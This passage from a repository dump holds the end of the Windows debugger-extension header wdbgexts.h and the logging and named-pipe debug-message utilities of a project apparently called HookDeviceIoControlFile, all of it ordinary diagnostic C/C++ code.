(PREADCONTROLSPACE32)LocalAlloc(LPTR, sizeof(*prc) + size );\n }\n if (prc) {\n ZeroMemory( prc->Buf, size );\n prc->Processor = processor;\n prc->Address = address;\n prc->BufLen = size;\n Ioctl( IG_READ_CONTROL_SPACE, (PVOID)prc, sizeof(*prc) + size );\n CopyMemory( buf, prc->Buf, size );\n LocalFree( prc );\n }\n}\n\n#define ReadTypedControlSpace32( _Proc, _Addr, _Buf ) \\\n ReadControlSpace64( (USHORT)(_Proc), (ULONG)(_Addr), (PVOID)&(_Buf), (ULONG)sizeof(_Buf) )\n\n__inline VOID\nReadControlSpace64(\n USHORT processor,\n ULONG64 address,\n PVOID buf,\n ULONG size\n )\n{\n PREADCONTROLSPACE64 prc = NULL;\n if (size <= WDBGEXTS_MAXSIZE_T - sizeof(*prc)) {\n prc = (PREADCONTROLSPACE64)LocalAlloc(LPTR, sizeof(*prc) + size );\n }\n if (prc) {\n ZeroMemory( prc->Buf, size );\n prc->Processor = processor;\n prc->Address = address;\n prc->BufLen = size;\n Ioctl( IG_READ_CONTROL_SPACE, (PVOID)prc, sizeof(*prc) + size );\n CopyMemory( buf, prc->Buf, size );\n LocalFree( prc );\n }\n}\n\n#define ReadTypedControlSpace64( _Proc, _Addr, _Buf ) \\\n ReadControlSpace64( (USHORT)(_Proc), (ULONG64)(_Addr), (PVOID)&(_Buf), (ULONG)sizeof(_Buf) )\n\n__inline VOID\nWriteControlSpace(\n USHORT processor,\n ULONG address,\n PVOID buf,\n ULONG size\n )\n{\n PREADCONTROLSPACE64 prc = NULL;\n if (size <= WDBGEXTS_MAXSIZE_T - sizeof(*prc)) {\n prc = (PREADCONTROLSPACE64)LocalAlloc(LPTR, sizeof(*prc) + size );\n }\n if (prc) {\n ZeroMemory( prc->Buf, size );\n prc->Processor = processor;\n prc->Address = address;\n prc->BufLen = size;\n CopyMemory( prc->Buf, buf, size );\n Ioctl( IG_WRITE_CONTROL_SPACE, (PVOID)prc, sizeof(*prc) + size );\n LocalFree( prc );\n }\n}\n\n// #endif // _WINBASE_\n\n__inline VOID\nReadIoSpace(\n ULONG address,\n PULONG data,\n PULONG size\n )\n{\n IOSPACE is;\n is.Address = address;\n is.Length = *size;\n Ioctl( IG_READ_IO_SPACE, (PVOID)&is, sizeof(is) );\n memcpy(data, &is.Data, is.Length);\n *size = is.Length;\n}\n\n__inline VOID\nReadIoSpace32(\n ULONG address,\n PULONG data,\n PULONG size\n )\n{\n IOSPACE32 is;\n is.Address = address;\n is.Length = *size;\n Ioctl( IG_READ_IO_SPACE, (PVOID)&is, sizeof(is) );\n memcpy(data, &is.Data, is.Length);\n *size = is.Length;\n}\n\n__inline VOID\nReadIoSpace64(\n ULONG64 address,\n PULONG data,\n PULONG size\n )\n{\n IOSPACE64 is;\n is.Address = address;\n is.Length = *size;\n Ioctl( IG_READ_IO_SPACE, (PVOID)&is, sizeof(is) );\n memcpy(data, &is.Data, is.Length);\n *size = is.Length;\n}\n\n__inline VOID\nWriteIoSpace(\n ULONG address,\n ULONG data,\n PULONG size\n )\n{\n IOSPACE is;\n is.Address = (ULONG)address;\n is.Length = *size;\n is.Data = data;\n Ioctl( IG_WRITE_IO_SPACE, (PVOID)&is, sizeof(is) );\n *size = is.Length;\n}\n\n__inline VOID\nWriteIoSpace32(\n ULONG address,\n ULONG data,\n PULONG size\n )\n{\n IOSPACE32 is;\n is.Address = address;\n is.Length = *size;\n is.Data = data;\n Ioctl( IG_WRITE_IO_SPACE, (PVOID)&is, sizeof(is) );\n *size = is.Length;\n}\n\n__inline VOID\nWriteIoSpace64(\n ULONG64 address,\n ULONG data,\n PULONG size\n )\n{\n IOSPACE64 is;\n is.Address = address;\n is.Length = *size;\n is.Data = data;\n Ioctl( IG_WRITE_IO_SPACE, (PVOID)&is, sizeof(is) );\n *size = is.Length;\n}\n\n__inline VOID\nReadIoSpaceEx(\n ULONG address,\n PULONG data,\n PULONG size,\n ULONG interfacetype,\n ULONG busnumber,\n ULONG addressspace\n )\n{\n IOSPACE_EX is;\n is.Address = (ULONG)address;\n is.Length = *size;\n is.Data = 0;\n is.InterfaceType = interfacetype;\n is.BusNumber = busnumber;\n is.AddressSpace = addressspace;\n Ioctl( IG_READ_IO_SPACE_EX, (PVOID)&is, sizeof(is) );\n *data = is.Data;\n *size = is.Length;\n}\n\n__inline VOID\nReadIoSpaceEx32(\n ULONG address,\n PULONG data,\n PULONG size,\n ULONG interfacetype,\n ULONG busnumber,\n ULONG addressspace\n )\n{\n IOSPACE_EX32 is;\n is.Address = address;\n is.Length = *size;\n is.Data = 0;\n is.InterfaceType = interfacetype;\n is.BusNumber = busnumber;\n is.AddressSpace = addressspace;\n Ioctl( IG_READ_IO_SPACE_EX, (PVOID)&is, sizeof(is) );\n *data = is.Data;\n *size = is.Length;\n}\n\n__inline VOID\nReadIoSpaceEx64(\n ULONG64 address,\n PULONG data,\n PULONG size,\n ULONG interfacetype,\n ULONG busnumber,\n ULONG addressspace\n )\n{\n IOSPACE_EX64 is;\n is.Address = address;\n is.Length = *size;\n is.Data = 0;\n is.InterfaceType = interfacetype;\n is.BusNumber = busnumber;\n is.AddressSpace = addressspace;\n Ioctl( IG_READ_IO_SPACE_EX, (PVOID)&is, sizeof(is) );\n *data = is.Data;\n *size = is.Length;\n}\n\n__inline VOID\nWriteIoSpaceEx(\n ULONG address,\n ULONG data,\n PULONG size,\n ULONG interfacetype,\n ULONG busnumber,\n ULONG addressspace\n )\n{\n IOSPACE_EX is;\n is.Address = (ULONG)address;\n is.Length = *size;\n is.Data = data;\n is.InterfaceType = interfacetype;\n is.BusNumber = busnumber;\n is.AddressSpace = addressspace;\n Ioctl( IG_WRITE_IO_SPACE_EX, (PVOID)&is, sizeof(is) );\n *size = is.Length;\n}\n\n__inline VOID\nWriteIoSpaceEx32(\n ULONG address,\n ULONG data,\n PULONG size,\n ULONG interfacetype,\n ULONG busnumber,\n ULONG addressspace\n )\n{\n IOSPACE_EX32 is;\n is.Address = address;\n is.Length = *size;\n is.Data = data;\n is.InterfaceType = interfacetype;\n is.BusNumber = busnumber;\n is.AddressSpace = addressspace;\n Ioctl( IG_WRITE_IO_SPACE_EX, (PVOID)&is, sizeof(is) );\n *size = is.Length;\n}\n\n__inline VOID\nWriteIoSpaceEx64(\n ULONG64 address,\n ULONG data,\n PULONG size,\n ULONG interfacetype,\n ULONG busnumber,\n ULONG addressspace\n )\n{\n IOSPACE_EX64 is;\n is.Address = address;\n is.Length = *size;\n is.Data = data;\n is.InterfaceType = interfacetype;\n is.BusNumber = busnumber;\n is.AddressSpace = addressspace;\n Ioctl( IG_WRITE_IO_SPACE_EX, (PVOID)&is, sizeof(is) );\n *size = is.Length;\n}\n\n__inline VOID\nReloadSymbols(\n IN PSTR Arg OPTIONAL\n )\n/*++\n\nRoutine Description:\n\n Calls the debugger to reload symbols.\n\nArguments:\n\n Args - Supplies the tail of a !reload command string.\n\n !reload [flags] [module[=address]]\n flags: /n do not load from usermode list\n /u unload symbols, no reload\n /v verbose\n\n A value of NULL is equivalent to an empty string\n\nReturn Value:\n\n None\n\n--*/\n{\n Ioctl(IG_RELOAD_SYMBOLS, (PVOID)Arg, Arg?((ULONG)strlen(Arg)+1):0);\n}\n\n__inline VOID\nGetSetSympath(\n IN PSTR Arg,\n OUT PSTR Result OPTIONAL,\n IN int Length\n )\n/*++\n\nRoutine Description:\n\n Calls the debugger to set or retrieve symbol search path.\n\nArguments:\n\n Arg - Supplies new search path. If Arg is NULL or string is empty,\n the search path is not changed and the current setting is\n returned in Result. When the symbol search path is changed,\n a call to ReloadSymbols is made implicitly.\n\n Result - OPTIONAL Returns the symbol search path setting.\n\n Length - Supplies the size of the buffer supplied by Result.\n\nReturn Value:\n\n None\n\n--*/\n{\n GET_SET_SYMPATH gss;\n gss.Args = Arg;\n gss.Result = Result;\n gss.Length = Length;\n Ioctl(IG_GET_SET_SYMPATH, (PVOID)&gss, sizeof(gss));\n}\n\n#if defined(KDEXT_64BIT)\n\n__inline\nULONG\nIsPtr64(\n void\n )\n{\n ULONG flag;\n ULONG dw;\n\n if (Ioctl(IG_IS_PTR64, &dw, sizeof(dw))) {\n flag = ((dw != 0) ? 1 : 0);\n } else {\n flag = 0;\n }\n return flag;\n}\n\n__inline\nULONG\nReadListEntry(\n ULONG64 Address,\n PLIST_ENTRY64 List\n )\n{\n ULONG cb;\n if (IsPtr64()) {\n return (ReadMemory(Address, (PVOID)List, sizeof(*List), &cb) &&\n cb == sizeof(*List));\n } else {\n LIST_ENTRY32 List32;\n ULONG Status;\n Status = ReadMemory(Address,\n (PVOID)&List32,\n sizeof(List32),\n &cb);\n if (Status && cb == sizeof(List32)) {\n List->Flink = (ULONG64)(LONG64)(LONG)List32.Flink;\n List->Blink = (ULONG64)(LONG64)(LONG)List32.Blink;\n return 1;\n }\n return 0;\n }\n}\n\n__inline\nULONG\nReadPointer(\n ULONG64 Address,\n PULONG64 Pointer\n )\n{\n ULONG cb;\n if (IsPtr64()) {\n return (ReadMemory(Address, (PVOID)Pointer, sizeof(*Pointer), &cb) &&\n cb == sizeof(*Pointer));\n } else {\n ULONG Pointer32;\n ULONG Status;\n Status = ReadMemory(Address,\n (PVOID)&Pointer32,\n sizeof(Pointer32),\n &cb);\n if (Status && cb == sizeof(Pointer32)) {\n *Pointer = (ULONG64)(LONG64)(LONG)Pointer32;\n return 1;\n }\n return 0;\n }\n}\n\n__inline\nULONG\nWritePointer(\n ULONG64 Address,\n ULONG64 Pointer\n )\n{\n ULONG cb;\n if (IsPtr64()) {\n return (WriteMemory(Address, &Pointer, sizeof(Pointer), &cb) &&\n cb == sizeof(Pointer));\n } else {\n ULONG Pointer32 = (ULONG)Pointer;\n ULONG Status;\n Status = WriteMemory(Address,\n &Pointer32,\n sizeof(Pointer32),\n &cb);\n return (Status && cb == sizeof(Pointer32)) ? 1 : 0;\n }\n}\n\n/**\n This does Ioctl call for type info and returns size of the type on success.\n\n **/\n__inline\nULONG\nGetTypeSize (\n IN LPCSTR Type\n )\n{\n SYM_DUMP_PARAM Sym = {\n sizeof (SYM_DUMP_PARAM), (PUCHAR)Type, DBG_DUMP_NO_PRINT | DBG_DUMP_GET_SIZE_ONLY, 0,\n NULL, NULL, NULL, 0, NULL\n };\n\n return Ioctl( IG_GET_TYPE_SIZE, &Sym, Sym.size );\n}\n\n/**\n GetFieldData\n\n Copies the value of the specified field into pOutValue assuming TypeAddress\n points to start of the type in debugee.\n\n If the Field is NULL and the size of Type is <= 8 Whole type value is read into\n pOutValue. This is to allow to read in primitive types suchas ULONG, PVOID etc.\n\n If address is zero this considers Type a global variable.\n\n It raises an exception if OutSize is less than size to be copied.\n\n Returns 0 on success, errorvalue (defined with SYM_DUMP_PARAM) otherwise.\n\n **/\n__inline\nULONG\nGetFieldData (\n IN ULONG64 TypeAddress,\n IN LPCSTR Type,\n IN LPCSTR Field,\n IN ULONG OutSize,\n OUT PVOID pOutValue\n )\n{\n FIELD_INFO flds = {(PUCHAR)Field, NULL, 0, DBG_DUMP_FIELD_FULL_NAME | DBG_DUMP_FIELD_COPY_FIELD_DATA | DBG_DUMP_FIELD_RETURN_ADDRESS, 0, pOutValue};\n SYM_DUMP_PARAM Sym = {\n sizeof (SYM_DUMP_PARAM), (PUCHAR)Type, DBG_DUMP_NO_PRINT, TypeAddress,\n NULL, NULL, NULL, 1, &flds\n };\n ULONG RetVal;\n\n if (!Field) {\n Sym.nFields =0; Sym.Options |= DBG_DUMP_COPY_TYPE_DATA;\n Sym.Context = pOutValue;\n }\n\n ZeroMemory(pOutValue, OutSize);\n RetVal = Ioctl( IG_DUMP_SYMBOL_INFO, &Sym, Sym.size );\n\n if (OutSize < ((Field == NULL) ? 8 : flds.size)) {\n // Fail\n dprintf(\"Not enough space to read %s-%s\\n\", Type, Field);\n RaiseException((DWORD)EXCEPTION_ACCESS_VIOLATION, 0, 0, NULL);\n return 0;\n }\n return RetVal;\n}\n\n//\n// Typecast the buffer where value is to be read\n//\n#define GetFieldValue(Addr, Type, Field, OutValue) \\\n GetFieldData(Addr, Type, Field, sizeof(OutValue), (PVOID) &(OutValue))\n\n//\n// Used to read in value of a short (<= 8 bytes) fields\n//\n__inline\nULONG64\nGetShortField (\n IN ULONG64 TypeAddress,\n IN LPCSTR Name,\n IN USHORT StoreAddress\n )\n{\n static ULONG64 SavedAddress;\n static PUCHAR SavedName;\n static ULONG ReadPhysical;\n FIELD_INFO flds = {(PUCHAR) Name, NULL, 0, DBG_DUMP_FIELD_FULL_NAME, 0, NULL};\n SYM_DUMP_PARAM Sym = {\n sizeof (SYM_DUMP_PARAM), SavedName, DBG_DUMP_NO_PRINT | ((StoreAddress & 2) ? DBG_DUMP_READ_PHYSICAL : 0),\n SavedAddress, NULL, NULL, NULL, 1, &flds\n };\n\n\n if (StoreAddress) {\n Sym.sName = (PUCHAR) Name;\n Sym.nFields = 0;\n SavedName = (PUCHAR) Name;\n Sym.addr = SavedAddress = TypeAddress;\n ReadPhysical = (StoreAddress & 2);\n return SavedAddress ? Ioctl( IG_DUMP_SYMBOL_INFO, &Sym, Sym.size ) : MEMORY_READ_ERROR; // zero on success\n } else {\n Sym.Options |= ReadPhysical ? DBG_DUMP_READ_PHYSICAL : 0;\n }\n\n if (!Ioctl( IG_DUMP_SYMBOL_INFO, &Sym, Sym.size )) {\n return flds.address;\n }\n return 0;\n}\n\n//\n// Stores the address and type name for future reads\n//\n#define InitTypeRead(Addr, Type) GetShortField(Addr, #Type, 1)\n#define InitTypeStrRead(Addr, TypeStr) GetShortField(Addr, TypeStr, 1)\n\n//\n// Stores the address and type name for future reads\n//\n#define InitTypeReadPhysical(Addr, Type) GetShortField(Addr, #Type, 3)\n#define InitTypeStrReadPhysical(Addr, TypeStr) GetShortField(Addr, TypeStr, 3)\n\n//\n// Returns the field's value as ULONG64 if size of field is <= sizeof (ULONG64)\n//\n#define ReadField(Field) GetShortField(0, #Field, 0)\n#define ReadFieldStr(FieldStr) GetShortField(0, FieldStr, 0)\n\n//\n// Read in a pointer value\n//\n__inline\nULONG\nReadPtr(\n ULONG64 Addr,\n PULONG64 pPointer\n )\n{\n return !ReadPointer(Addr, pPointer);\n}\n\n/*\n * ListType\n *\n * Routine ListType gives a callback on each element in the list of Type.\n *\n * Type : Name of the type to be listed\n *\n * NextPointer : Name of field which gives address of next element in list\n *\n * Context, CallbackRoutine :\n * Context and the callback routine. The address field in PFIELD_INFO\n * parameter of callback contains the address of next Type element in list.\n *\n * Address, ListByFieldAddress :\n * if ListByFieldAddress is 0, Adress is the address of first element of Type List.\n *\n * Lists by LIST_ENTRY are also handled implicitly (by Ioctl). If the NextPointer\n * is a pointer to LIST_ENTRY type, the type address is properly calculated by\n * subtracting the offsets.\n *\n * If ListByFieldAddress is 1, the Address is considered to be the address of field\n * \"NextPointer\" of the first Type element and first element address is derived\n * from it.\n *\n */\n\n__inline\nULONG\nListType (\n IN LPCSTR Type,\n IN ULONG64 Address,\n IN USHORT ListByFieldAddress,\n IN LPCSTR NextPointer,\n IN PVOID Context,\n IN PSYM_DUMP_FIELD_CALLBACK CallbackRoutine\n )\n{\n FIELD_INFO flds = {(PUCHAR)NextPointer, NULL, 0, 0, 0, NULL};\n SYM_DUMP_PARAM Sym = {\n sizeof (SYM_DUMP_PARAM), (PUCHAR) Type, DBG_DUMP_NO_PRINT | DBG_DUMP_LIST, Address,\n &flds, Context, CallbackRoutine, 0, NULL\n };\n\n if (ListByFieldAddress==1) {\n //\n // Address is the address of \"NextPointer\"\n //\n Sym.Options |= DBG_DUMP_ADDRESS_OF_FIELD;\n }\n\n return Ioctl( IG_DUMP_SYMBOL_INFO, &Sym, Sym.size );\n}\n\n\n/**\n\n Routine to get offset of a \"Field\" of \"Type\" on a debugee machine. This uses\n Ioctl call for type info.\n Returns 0 on success, Ioctl error value otherwise.\n\n **/\n\n__inline\nULONG\nGetFieldOffset (\n IN LPCSTR Type,\n IN LPCSTR Field,\n OUT PULONG pOffset\n )\n{\n FIELD_INFO flds = {\n (PUCHAR)Field,\n (PUCHAR)\"\",\n 0,\n DBG_DUMP_FIELD_FULL_NAME | DBG_DUMP_FIELD_RETURN_ADDRESS,\n 0,\n NULL};\n\n SYM_DUMP_PARAM Sym = {\n sizeof (SYM_DUMP_PARAM),\n (PUCHAR)Type,\n DBG_DUMP_NO_PRINT,\n 0,\n NULL,\n NULL,\n NULL,\n 1,\n &flds\n };\n\n ULONG Err;\n\n Sym.nFields = 1;\n Err = Ioctl( IG_DUMP_SYMBOL_INFO, &Sym, Sym.size );\n *pOffset = (ULONG) flds.FieldOffset;\n return Err;\n}\n\n\n#endif // defined(KDEXT_64BIT)\n\n__inline VOID\n GetCurrentProcessHandle(\n PHANDLE hp\n )\n{\n Ioctl(IG_GET_CURRENT_PROCESS_HANDLE, hp, sizeof(HANDLE));\n}\n\n__inline VOID\n GetTebAddress(\n PULONGLONG Address\n )\n{\n GET_TEB_ADDRESS gpt;\n gpt.Address = 0;\n Ioctl(IG_GET_TEB_ADDRESS, (PVOID)&gpt, sizeof(gpt));\n *Address = gpt.Address;\n}\n\n__inline VOID\n GetPebAddress(\n ULONG64 CurrentThread,\n PULONGLONG Address\n )\n{\n GET_PEB_ADDRESS gpt;\n gpt.CurrentThread = CurrentThread;\n gpt.Address = 0;\n Ioctl(IG_GET_PEB_ADDRESS, (PVOID)&gpt, sizeof(gpt));\n *Address = gpt.Address;\n}\n\n__inline VOID\n GetCurrentThreadAddr(\n DWORD Processor,\n PULONG64 Address\n )\n{\n GET_CURRENT_THREAD_ADDRESS ct;\n ct.Processor = Processor;\n Ioctl(IG_GET_CURRENT_THREAD, (PVOID)&ct, sizeof(ct));\n *Address = ct.Address;\n}\n\n__inline VOID\n GetCurrentProcessAddr(\n DWORD Processor,\n ULONG64 CurrentThread,\n PULONG64 Address\n )\n{\n GET_CURRENT_PROCESS_ADDRESS cp;\n cp.Processor = Processor;\n cp.CurrentThread = CurrentThread;\n Ioctl(IG_GET_CURRENT_PROCESS, (PVOID)&cp, sizeof(cp));\n *Address = cp.Address;\n}\n\n__inline VOID\nSearchMemory(\n ULONG64 SearchAddress,\n ULONG64 SearchLength,\n ULONG PatternLength,\n PVOID Pattern,\n PULONG64 FoundAddress\n )\n{\n SEARCHMEMORY sm;\n sm.SearchAddress = SearchAddress;\n sm.SearchLength = SearchLength;\n sm.FoundAddress = 0;\n sm.PatternLength = PatternLength;\n sm.Pattern = Pattern;\n Ioctl(IG_SEARCH_MEMORY, (PVOID)&sm, sizeof(sm));\n *FoundAddress = sm.FoundAddress;\n}\n\n__inline ULONG\nGetInputLine(\n PCSTR Prompt,\n PSTR Buffer,\n ULONG BufferSize\n )\n{\n GET_INPUT_LINE InLine;\n InLine.Prompt = Prompt;\n InLine.Buffer = Buffer;\n InLine.BufferSize = BufferSize;\n if (Ioctl(IG_GET_INPUT_LINE, (PVOID)&InLine, sizeof(InLine)))\n {\n return InLine.InputSize;\n }\n else\n {\n return 0;\n }\n}\n\n__inline BOOL\nGetExpressionEx(\n PCSTR Expression,\n ULONG64* Value,\n PCSTR* Remainder\n )\n{\n GET_EXPRESSION_EX Expr;\n Expr.Expression = Expression;\n if (Ioctl(IG_GET_EXPRESSION_EX, (PVOID)&Expr, sizeof(Expr)))\n {\n *Value = Expr.Value;\n\n if (Remainder != NULL)\n {\n *Remainder = Expr.Remainder;\n }\n\n return TRUE;\n }\n\n return FALSE;\n}\n\n__inline BOOL\nTranslateVirtualToPhysical(\n ULONG64 Virtual,\n ULONG64* Physical\n )\n{\n TRANSLATE_VIRTUAL_TO_PHYSICAL VToP;\n VToP.Virtual = Virtual;\n if (Ioctl(IG_TRANSLATE_VIRTUAL_TO_PHYSICAL, (PVOID)&VToP, sizeof(VToP)))\n {\n *Physical = VToP.Physical;\n return TRUE;\n }\n\n return FALSE;\n}\n\n__inline BOOL\nGetDebuggerCacheSize(\n OUT PULONG64 CacheSize\n )\n{\n return Ioctl(IG_GET_CACHE_SIZE, (PVOID) CacheSize, sizeof(ULONG64));\n}\n\n__inline BOOL\nExtMatchPatternA(\n IN PCSTR Str,\n IN PCSTR Pattern,\n IN BOOL CaseSensitive\n )\n{\n EXT_MATCH_PATTERN_A Args;\n\n Args.Str = Str;\n Args.Pattern = Pattern;\n Args.CaseSensitive = CaseSensitive;\n return Ioctl(IG_MATCH_PATTERN_A, (PVOID)&Args, sizeof(Args));\n}\n\n#endif\n\n#pragma warning(default:4115 4201 4204 4214 4221)\n#if _MSC_VER >= 1200\n#pragma warning(pop)\n#endif\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif // _WDBGEXTS_\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/debug.cpp", "content": "#include \"stdafx.h\"\n\n#define DBG_PIPE_BUFFER_SIZE 0x1000\n\nWCHAR m_wcDebugPipeName[MAX_PATH];\nHANDLE hDbgMutex = NULL, hDbgLogfile = INVALID_HANDLE_VALUE;\n//--------------------------------------------------------------------------------------\nvoid DbgMsgLogWrite(char *lpszBuff)\n{\n if (hDbgLogfile != INVALID_HANDLE_VALUE && hDbgMutex)\n {\n DWORD dwWritten = 0;\n char *s = lpszBuff; \n size_t len = strlen(lpszBuff);\n\n WaitForSingleObject(hDbgMutex, INFINITE); \n SetFilePointer(hDbgLogfile, 0, NULL, FILE_END);\n\n for (size_t i = 1; i < len; i++)\n {\n // divide source string by lines\n if (lpszBuff[i] == '\\n')\n {\n lpszBuff[i] = '\\x00';\n\n // write the current line\n WriteFile(hDbgLogfile, s, (DWORD)strlen(s), &dwWritten, NULL);\n\n if (lpszBuff[i - 1] != '\\r')\n {\n // replace single '\\n' with '\\r\\n'\n WriteFile(hDbgLogfile, \"\\r\\n\", 2, &dwWritten, NULL);\n }\n else\n {\n WriteFile(hDbgLogfile, \"\\n\", 1, &dwWritten, NULL);\n } \n\n s = lpszBuff + i + 1;\n }\n }\n\n if (lpszBuff + len > s)\n {\n // write the rest of the string\n WriteFile(hDbgLogfile, s, (DWORD)strlen(s), &dwWritten, NULL);\n } \n\n ReleaseMutex(hDbgMutex);\n }\n}\n//--------------------------------------------------------------------------------------\nvoid DbgMsg(char *lpszFile, int Line, char *lpszMsg, ...)\n{\n va_list mylist;\n va_start(mylist, lpszMsg);\n\n size_t len = _vscprintf(lpszMsg, mylist) + 0x100;\n \n char *lpszBuff = (char *)M_ALLOC(len);\n if (lpszBuff == NULL)\n {\n va_end(mylist);\n return;\n }\n\n char *lpszOutBuff = (char *)M_ALLOC(len);\n if (lpszOutBuff == NULL)\n {\n M_FREE(lpszBuff);\n va_end(mylist);\n return;\n }\n \n vsprintf_s(lpszBuff, len, lpszMsg, mylist);\t\n va_end(mylist);\n\n sprintf_s(\n lpszOutBuff, len, \"[%.5d] %s(%d) : %s\", \n GetCurrentProcessId(), GetNameFromFullPath(lpszFile), Line, lpszBuff\n );\t\n\n OutputDebugString(lpszOutBuff);\n\n HANDLE hStd = GetStdHandle(STD_OUTPUT_HANDLE);\n if (hStd != INVALID_HANDLE_VALUE)\n {\n DWORD dwWritten = 0;\n WriteFile(hStd, lpszBuff, strlen(lpszBuff), &dwWritten, NULL); \n } \n\n sprintf_s(lpszOutBuff, len, \"[%.5d] %s\", GetCurrentProcessId(), lpszBuff);\t \n DbgMsgLogWrite(lpszOutBuff);\n\n M_FREE(lpszOutBuff);\n M_FREE(lpszBuff);\n}\n//--------------------------------------------------------------------------------------\nDWORD WINAPI PipeInstanceThread(LPVOID lpParam)\n{\n HANDLE hPipe = (HANDLE)lpParam;\n DWORD dwReaded, dwWritten, dwLen = 0; \n\n // read data length from pipe\n while (ReadFile(hPipe, (PVOID)&dwLen, sizeof(dwLen), &dwReaded, NULL))\n {\n if (dwLen > 0)\n {\n // allocate memory for data\n PUCHAR Data = (PUCHAR)M_ALLOC(dwLen);\n if (Data)\n {\n PUCHAR DataPtr = Data;\n DWORD dwTotalReaded = 0, dwReadLen = dwLen;\nread_again:\n if (ReadFile(hPipe, DataPtr, dwReadLen, &dwReaded, NULL))\n {\n dwTotalReaded += dwReaded;\n if (dwLen > dwTotalReaded)\n {\n DataPtr += dwReaded;\n dwReadLen -= dwReaded;\n\n // not all data was readed\n goto read_again;\n } \n\n // write message into the standart output\n HANDLE hStd = GetStdHandle(STD_OUTPUT_HANDLE);\n if (hStd != INVALID_HANDLE_VALUE)\n { \n char *s = strstr((char *)Data, \" : \");\n if (s)\n {\n s += 3;\n WriteFile(hStd, s, lstrlen(s), &dwWritten, NULL);\n } \n else\n {\n WriteFile(hStd, Data, lstrlen((char *)Data), &dwWritten, NULL);\n }\n }\n\n // write message into the log\n DbgMsgLogWrite((char *)Data);\n }\n\n M_FREE(Data);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"M_ALLOC() ERROR %d\\n\", GetLastError());\n }\n } \n\n dwLen = 0;\n }\n\n return 0;\n}\n//--------------------------------------------------------------------------------------\nDWORD WINAPI PipeServerThread(LPVOID lpParam)\n{\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"(): Listening on pipe '%ws'\\n\", m_wcDebugPipeName);\n\n while (true)\n {\n // create pipe instance\n HANDLE hPipe = CreateNamedPipeW(\n m_wcDebugPipeName, \n PIPE_ACCESS_DUPLEX, \n PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, \n PIPE_UNLIMITED_INSTANCES, \n DBG_PIPE_BUFFER_SIZE, \n DBG_PIPE_BUFFER_SIZE, \n INFINITE, \n NULL\n ); \n if (hPipe == INVALID_HANDLE_VALUE)\n {\n DbgMsg(__FILE__, __LINE__, \"CreateNamedPipe() ERROR %d\\n\", GetLastError());\n return 0;\n }\n\n BOOL bConnected = ConnectNamedPipe(hPipe, NULL) ? TRUE : (GetLastError() == ERROR_PIPE_CONNECTED); \n if (bConnected) \n { \n // Create a thread for this client. \n HANDLE hThread = CreateThread(NULL, 0, PipeInstanceThread, (LPVOID)hPipe, 0, NULL);\n if (hThread == NULL) \n {\n DbgMsg(__FILE__, __LINE__, \"CreateThread() ERROR %d\\n\", GetLastError());\n return 0;\n }\n else\n {\n CloseHandle(hThread); \n }\n } \n else \n {\n // The client could not connect, so close the pipe. \n CloseHandle(hPipe); \n }\n }\n}\n//--------------------------------------------------------------------------------------\nvoid DbgInit(char *lpszDebugPipeName, char *lpszLogFileName)\n{\n hDbgMutex = CreateMutex(NULL, FALSE, NULL);\n if (hDbgMutex == NULL)\n {\n DbgMsg(__FILE__, __LINE__, \"CreateMutex() ERROR %d\\n\", GetLastError());\n return;\n }\n \n if (lpszLogFileName)\n {\n // use logfile for debug messages\n char szLogFilePath[MAX_PATH];\n GetCurrentDirectory(sizeof(szLogFilePath), szLogFilePath);\n strcat_s(szLogFilePath, MAX_PATH, \"\\\\\");\n strcat_s(szLogFilePath, MAX_PATH, lpszLogFileName);\n\n hDbgLogfile = CreateFile(\n szLogFilePath, \n GENERIC_WRITE, \n FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, \n NULL, \n CREATE_ALWAYS, \n FILE_ATTRIBUTE_NORMAL, \n NULL\n );\n if (hDbgLogfile == INVALID_HANDLE_VALUE)\n {\n DbgMsg(__FILE__, __LINE__, \"CreateFile() ERROR %d\\n\", GetLastError());\n return;\n }\n\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"(): Log file '%s' created\\n\", szLogFilePath);\n } \n\n if (lpszDebugPipeName)\n {\n // pipe to receive messages from driver or other application\n WCHAR wcDebugPipeName[MAX_PATH];\n MultiByteToWideChar(CP_ACP, 0, lpszDebugPipeName, -1, wcDebugPipeName, MAX_PATH);\n wcscpy_s(m_wcDebugPipeName, MAX_PATH, L\"\\\\\\\\.\\\\pipe\\\\\");\n wcscat_s(m_wcDebugPipeName, MAX_PATH, wcDebugPipeName);\n\n // start pipe server for debug messages from driver\n HANDLE hThread = CreateThread(NULL, 0, PipeServerThread, NULL, 0, NULL);\n if (hThread)\n { \n CloseHandle(hThread);\n Sleep(2000);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"CreateThread() ERROR %d\\n\", GetLastError());\n }\n } \n}\n//--------------------------------------------------------------------------------------\nWORD ccol(WORD wColor)\n{ \n WORD c = 0;\n\n if (wColor == 0)\n {\n return 0;\n }\n\n if (hDbgMutex)\n {\n WaitForSingleObject(hDbgMutex, INFINITE);\n }\n\n HANDLE hStd = GetStdHandle(STD_OUTPUT_HANDLE);\n if (hStd != INVALID_HANDLE_VALUE)\n {\n CONSOLE_SCREEN_BUFFER_INFO Info;\n ZeroMemory(&Info, sizeof(Info));\n\n // get old console attributes\n if (GetConsoleScreenBufferInfo(hStd, &Info))\n {\n // set new console attributes\n SetConsoleTextAttribute(hStd, wColor);\n c = Info.wAttributes;\n } \n }\n\n if (hDbgMutex)\n {\n ReleaseMutex(hDbgMutex);\n }\n\n return c;\n}\n//--------------------------------------------------------------------------------------\n// EoF\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/debug.h", "content": "\nvoid DbgMsg(char *lpszFile, int Line, char *lpszMsg, ...);\nvoid DbgInit(char *lpszDebugPipeName, char *lpszLogFileName);\n\n#define CCOL_BLUE (0x09)\n#define CCOL_GREEN (0x0A)\n#define CCOL_CYAN (0x0B)\n#define CCOL_RED (0x0C)\n#define CCOL_PURPLE (0x0D)\n#define CCOL_YELLOW (0x0E)\n#define CCOL_WHITE (0x0F)\n\nWORD ccol(WORD wColor);\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/default.manifest", "content": "\n\n 